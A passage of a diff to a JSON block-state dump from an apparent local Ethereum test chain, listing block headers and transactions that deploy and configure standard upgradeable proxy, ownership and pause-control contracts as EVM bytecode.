31633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0xa066bc72195074aa7e39fd29caf25ccf3dab8175888d680ec30c40ea43ca3239", + "s": "0x1c9c8a6f41d5500b3aea4833912dd3efc36dddb7625f0b719b36c52364336549", + "yParity": "0x0", + "hash": "0x59aadeac6bfd3d5ec958ebce13efbec270df30e25b8639b1e6906cbdb916c05a" } }, "impersonated_sender": null @@ -437,22 +473,22 @@ }, { "header": { - "parentHash": "0x3caf5b17413ef090f10a7b4954c5619f020fbedc7d8180ed8f724f575fa8aa1a", + "parentHash": "0x700953b012a0102f730dca1d6e78b94cb91ba2325a68b64866311a4607619edb", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x7f31991f0251aaf067f90d903af27fc71e6e67591639f62b10cfd2a302b7b729", - "transactionsRoot": "0x31bc5e93aead970f271283deb6ca355074adc1010f3a4a1542428c755b966e62", - "receiptsRoot": "0x19e95c9ae96bcfaa35669da649163148d0399e12912dd92bd34428c6538b2f08", + "stateRoot": "0x0e336c50caf8b57455faf33ce1a20ee1968926781f2f7cd415030bdeb05fe05b", + "transactionsRoot": "0x32d9106d717210e3a2e37e51cf1ea6bfd8208393d6c2501a60ea89ad66d018a6", + "receiptsRoot": "0xfe2411014a0ab6a828e99e5c34f33c8c7ed50b6427ed7875ae91175383dab80c", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000100000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x16", + "number": "0xd", "gasLimit": "0x1c9c380", - "gasUsed": "0x64c4", - "timestamp": "0x67212bff", + "gasUsed": "0xcf616", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x4e06be8", + "baseFeePerGas": "0xee8f591", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -463,18 +499,17 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x20", - "gas": "0x8b2e", + "nonce": "0x10", + "gas": "0x10d845", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0xb7f8bc63bbcad18155201308c8f3540b07f84f5e", "value": "0x0", "accessList": [], - "input": "0xf2fde38b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "r": "0x729bcd296b95dc9fbbed8beeb842a62c4366afa92bbccac951f3dacff067c0fd", - "s": "0x79af5af4279f42a9f851e8e3eeb8ac3c64b30df48035e1584ae364c9e678585a", - "yParity": "0x0", - "hash": "0x0407695da91c821753dcf7e68b5284a95c603e466b110cce53db7254dd1f1278" + "input": "0x6080604052348015600f57600080fd5b50604051610ee6380380610ee6833981016040819052602c916049565b5050607e565b6001600160a01b0381168114604657600080fd5b50565b60008060408385031215605b57600080fd5b82516064816032565b60208401519092506073816032565b809150509250929050565b610e598061008d6000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212204498542bd53fe5969cd2484cb9f25ea6fca9228d748c3cfb4c54b0eae1d8b52e64736f6c634300081b0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "r": "0x23f344d67b729d7973672313292f72d6804862fbd4d118b51ddd625a4baf8e23", + "s": "0x41cc3ef2e06dd2571a04d693f47dc865f712f0458f309977e7689f9f9e3187d", + "yParity": "0x1", + "hash": "0xb722c55213051854e49ef66523ff9e049f2ca3c628d82fdff72bf7883fbeb9b3" } }, "impersonated_sender": null @@ -484,72 +519,69 @@ }, { "header": { - "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", - "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", - "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", - "transactionsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "receiptsRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "difficulty": "0x0", - "number": "0x0", - "gasLimit": "0x1c9c380", - "gasUsed": "0x0", - "timestamp": "0x67212bf4", - "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", - "nonce": "0x0000000000000000", - "baseFeePerGas": "0x3b9aca00", - "blobGasUsed": "0x0", - "excessBlobGas": "0x0", - "extraData": "0x" - }, - "transactions": [], - "ommers": [] - }, - { - "header": { - "parentHash": "0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097", + "parentHash": "0xed111cec961583d0e79c2921c0d330e1f7a28fc63df0db46905a4f8f274cce95", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0xfc874a013b7e585759ef74efb58667b009f50439d1585aa7ed50f2aea9be22dc", - "transactionsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "receiptsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "stateRoot": "0x1a29b493b12650a4be6cf42d7e7f0ff3bd1dfebf33b14e0822abaf6fda715e07", + "transactionsRoot": "0xf713d5bb1159eb9c41b0ea07f5a0c3df8f1ea3c4d6079d7eddf237c83b9601cf", + "receiptsRoot": "0xb12a47d135f48ffa524c6a54f2b1b66742e30f6d85e10126f70dd8f40b30644f", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000", "difficulty": "0x0", - "number": "0x4", + "number": "0x1a", "gasLimit": "0x1c9c380", - "gasUsed": "0x0", - "timestamp": "0x67212bff", + "gasUsed": "0x22aff", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x295ce182", + "baseFeePerGas": "0x2db866e", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", "extraData": "0x" }, - "transactions": [], + "transactions": [ + { + "transaction": { + "EIP1559": { + "chainId": "0x7a69", + "nonce": "0x1d", + "gas": "0x2fe95", + "maxFeePerGas": "0x77359401", + "maxPriorityFeePerGas": "0x1", + "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", + "value": "0x0", + "accessList": [], + "input": "0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", + "r": "0x179a240390eccd825e3af3889b83756d8100c03c22f680a43c09ab7c3dbeb233", + "s": "0x2b8e64c68d4e5e5ba82859eca5e1635f1087f352417361305ac60d3f4057143d", + "yParity": "0x1", + "hash": "0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91" + } + }, + "impersonated_sender": null + } + ], "ommers": [] }, { "header": { - "parentHash": "0x78297cd2f6138e71564941168b94290e4ee87f69e753b05e66548c726549876b", + "parentHash": "0xc0a1e423681d43bb6a6f65f74cea24f4c5d4656f0e46461bd3cfed1c0551d972", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x22f328915a5858c375331b5d6eb3c8e9103816f708133d8df17e10009ae15c25", - "transactionsRoot": "0x9e17f4e91d109ee558e254fcb31c56fa60d69632e4b472879c3e83637d61b963", - "receiptsRoot": "0x6193b1bab62c50d49e00132c6500726ec7726b982dc46349fe52157303fb9261", + "stateRoot": "0x2c7adf6d0b796e059df7d5205a6378c6765e97e2a7f43f0627fca3d8e22bb5ab", + "transactionsRoot": "0xa61c16f21466af5268b887911633b68f9d3b3d43ee703d87d248a046d900f038", + "receiptsRoot": "0xb43c408803cf6e0c5788f25f8d6b6519f32fe436d5e8f55a6636e76d90f77df9", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000040000000400000000000000000800000000000000000000000000000000000000000000000000000000000100000000000000000000000400080000000000400000002000001000240000000000000000000000000000000020000000000000100800800000004000000000000000000000000400000000100000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000001000020000000000000000000000000000000000000000000000000000000000000400000", + "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000001000000000000000000000000002000000000240000000000000000000400000000000000000000000000000000000000000800000000000000000000000040000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000400000000000001000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0xe", + "number": "0x5", "gasLimit": "0x1c9c380", - "gasUsed": "0x2247c", - "timestamp": "0x67212bff", + "gasUsed": "0x117e5c", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0xdc07258", + "baseFeePerGas": "0x239c61a6", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -560,18 +592,36 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x16", - "gas": "0x2f597", + "nonce": "0x5", + "gas": "0xb5dcb", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", - "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", "value": "0x0", "accessList": [], - "input": "0x9623609d0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757070000000000000000000000009a676e781a523b5d0c0e43731313a708cb607508000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000641794bb3c000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "r": "0x81984eadf6fa11b2fe04df40da0ededf673dc4ebd2f43a8f2dbb921b42352465", - "s": "0x203bdf4c4e3f2d641859308083f40e6e0a654b04aecc27dcaf0cdb166ff1e5f8", + "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "r": "0xcbacd798027928523310281f756e3f6b5f84bdedb1f23e522b00b07a6caa4eb6", + "s": "0x281cff83303d71db9bd15c11bbbd9f95b039aa8137547b9396b88093deca7de3", "yParity": "0x1", - "hash": "0xe405e21ba26d4a3b0a72c85452048c4f59cb45eff93e20f4008c71fda12766b8" + "hash": "0xd7564065b111aaeb506f2b929d325592e1ef78a940ddfe00870c64ed2ce7d117" + } + }, + 